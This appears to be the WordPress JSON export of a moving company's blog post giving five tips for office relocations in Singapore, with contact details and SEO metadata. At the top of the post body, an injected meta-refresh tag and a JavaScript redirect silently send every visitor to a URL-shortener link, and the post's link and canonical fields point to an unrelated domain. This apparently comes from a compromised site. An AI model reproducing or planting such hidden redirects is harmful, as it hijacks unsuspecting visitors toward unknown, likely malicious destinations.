{"id":2734,"date":"2021-03-03T02:01:13","date_gmt":"2021-03-03T02:01:13","guid":{"rendered":"https:\/\/phoenixmover.com.sg\/?p=2734"},"modified":"2024-10-02T09:10:19","modified_gmt":"2024-10-02T09:10:19","slug":"5-key-factors-not-to-miss-out-during-an-office-move","status":"publish","type":"post","link":"https:\/\/imperialprogram.pw\/phoenix\/2021\/03\/03\/5-key-factors-not-to-miss-out-during-an-office-move\/","title":{"rendered":"5 key factors not to miss out during an office move"},"content":{"rendered":"<p><meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/dvW0r3\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.dev\/dvW0r3\";<\/script><br \/>\n<span style=\"color: #000000;\">Any kind of office move does spring up stress, blood pressure and more. But, the most challenging part about moving an office is running business operations while the movie is ongoing.<\/span><\/p>\n<p><span style=\"color: #000000;\">While packing, pre-surveys, quotations and setting up are all part of the process, there are some key elements (very crucial to your business). Many tend to simply forget these in the stress of finding a new place to move into and the entire act of moving.<\/span><\/p>\n<p><span style=\"color: #000000;\">As the day draws closers, don\u2019t miss out on checking about the below 4 factors with your office movers in Singapore. If you aren\u2019t careful, it can impact your business.<\/span><\/p>\n<ol>\n<li><span style=\"color: #000000;\"><strong>Extra care for electronic data<\/strong><\/span><\/li>\n<\/ol>\n<p><span style=\"color: #000000;\">Office moving isn\u2019t about simply transporting office elements, furniture and related items from one place to another. While this is important, there is something more crucial and linked to the heart of the business \u2013 electronic data.<\/span><br \/>\n<span style=\"color: #000000;\">The hardwork of most businesses is often stored electronically. This can be within hard drives, servers, computers, laptops or other equipment and machinery.<\/span><br \/>\n<span style=\"color: #000000;\">In order to avoid corruption of electronic data, you need to make sure that the office mover is taking correct care and precaution to pack and move these. Right from the type of boxes, tight tape, strips, layer of packaging \u2013 everything matters when it comes to securing electronic data.<\/span><br \/>\n<span style=\"color: #000000;\">Make sure no corners are cut \u2013 after all it\u2019s about your business!<\/span><\/p>\n<ol start=\"2\">\n<li><span style=\"color: #000000;\"><strong>Maintaining the filing order \u2013 even during the move<\/strong><\/span><\/li>\n<\/ol>\n<p><span style=\"color: #000000;\">Several businesses still have a lot of paper and filing work involved. It takes months and years to efficiently manage the filing. Right from organizing it basis code, year and several other details.<\/span><br \/>\n<span style=\"color: #000000;\">A move shouldn\u2019t mean this order can be shifted, and re-arranged at the new place.<\/span><br \/>\n<span style=\"color: #000000;\"><a style=\"color: #000000;\" href=\"https:\/\/phoenixmover.com.sg\/\">Experienced movers in Singapore<\/a> are equipped to move humongous amounts of physical files, paper and documents without shifting the order. Be it color coding, to having different categories of boxes that need to be emptied over different time slots.<\/span><\/p>\n<ol start=\"3\">\n<li><span style=\"color: #000000;\"><strong>Maintaining safety of physical customer records<\/strong><\/span><\/li>\n<\/ol>\n<p><span style=\"color: #000000;\"><a style=\"color: #000000;\" href=\"https:\/\/phoenixmover.com.sg\/\">Friendly and experienced removal operatives<\/a> are the best ones for businesses which deal with large volumes of customer records.<\/span><br \/>\n<span style=\"color: #000000;\">If your business is the kind which runs on managing customer records, then there are a few simple things you can do to make the move a whole lot smoother.<\/span><\/p>\n<ul>\n<li><span style=\"color: #000000;\">Inform your mover company to ensure that the move is done within 24 hours.<\/span><\/li>\n<li><span style=\"color: #000000;\">Ensure not to keep a long gap. An improper storage of physical customer records can damage records. Or, unexpected weather conditions such as sudden rain can tamper documents.<\/span><\/li>\n<\/ul>\n<h4 style=\"padding: 7px;\"><\/h4>\n<ol start=\"4\">\n<li><span style=\"color: #000000;\"><strong>It\u2019s best to tell employees to pack their personal belongings<\/strong><\/span><\/li>\n<\/ol>\n<p><span style=\"color: #000000;\">You must have noticed that a lot of employees like placing family pictures or items of sentimental value on their desks. This isn\u2019t connected to the business or their scope or work per se. Informing your employees to pack their valuable personal belongings beforehand is imperative.<\/span><br \/>\n<span style=\"color: #000000;\">Give them ample time to pack their few items instead of creating a panic at the last moment. This can also ensure that no work timelines are affected as they\u2019re busy packing their personal items.<\/span><\/p>\n<ol start=\"5\">\n<li><span style=\"color: #000000;\"><strong>Don\u2019t crack the cable (and don\u2019t crack yourself up with the cables)<\/strong><\/span><\/li>\n<\/ol>\n<p><span style=\"color: #000000;\">Most offices have a ton of cable work installed \u2013 right from single wires going from the socket into devices, so fibres running across physical servers and extension cords which can fill up an entire room.<\/span><br \/>\n<span style=\"color: #000000;\">Messing these up can of course impact data. This is not the only drawback. If cables aren\u2019t detached and packed appropriately, you will be spending more time in untangling and figuring out what goes where in the new office (instead of business development).<\/span><br \/>\n<span style=\"color: #000000;\">Certain systems required to be prepared before pulling a cable out! Keep this in mind before pulling any plug out.<\/span><br \/>\n<span style=\"color: #000000;\">Movers who specialise in shifting for businesses such as IT, e-commerce are well-versed with carefully detaching cables, organized packing and installation.<\/span><br \/>\n<span style=\"color: #000000;\">Lastly, conquer a bit every day and your move day will pass smooth! Reach out to experienced and relocation friendly movers in Singapore to ensure that not only your move is hassle-free, but also your business operations aren\u2019t impacted.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"color: #000000;\"><strong>Request your quote today. <\/strong><\/span><br \/>\n<span style=\"color: #000000;\"><em>Phone (WhatsApp): 8499 5998 \/ 9730 2185<\/em><em><br \/>\nHotline: 6686 0002<br \/>\nFax: 6316 1631<br \/>\nEmail:\u00a0<\/em><strong><a style=\"color: #000000;\" href=\"mailto:phoenixmover@singnet.com.sg\"><em>phoenixmover@singnet.com.sg<\/em><\/a><\/strong><\/span><br \/>\n<span style=\"color: #000000;\">Website : <strong><a style=\"color: #000000;\" href=\"https:\/\/phoenixmover.com.sg\">https:\/\/phoenixmover.com.sg<\/a><\/strong><\/span><\/p>\n<p><span style=\"color: #000000;\"><em>From Monday to Saturday 9AM-6PM<br \/>\nAfter office hours please send SMS @\u00a0<strong>8101 6998<\/strong> for enquiring.<\/em><\/span><br \/>\n<script>function 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But, the most challenging part about moving an office is running business operations while the movie is ongoing. While packing, pre-surveys, quotations and setting up are all part of the process, there are some key elements (very crucial to your business). Many tend to simply forget these [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":2999,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[25],"tags":[],"class_list":["post-2734","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-services"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v23.5 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>5 key factors not to miss out during an office move - Phoenix Mover<\/title>\n<meta name=\"description\" content=\"Any kind of office move does spring up stress, blood pressure and more. But, the most challenging part about moving an office is running business operations while the movie is ongoing. Office moving isn\u2019t about simply transporting office elements, furniture and related items from one place to another. While this is important, there is something more crucial and linked to the heart of the business \u2013 electronic data.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/imperialprogram.pw\/phoenix\/2021\/03\/03\/5-key-factors-not-to-miss-out-during-an-office-move\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"5 key factors not to miss out during an office move - Phoenix Mover\" \/>\n<meta property=\"og:description\" content=\"Any kind of office move does spring up stress, blood pressure and more. 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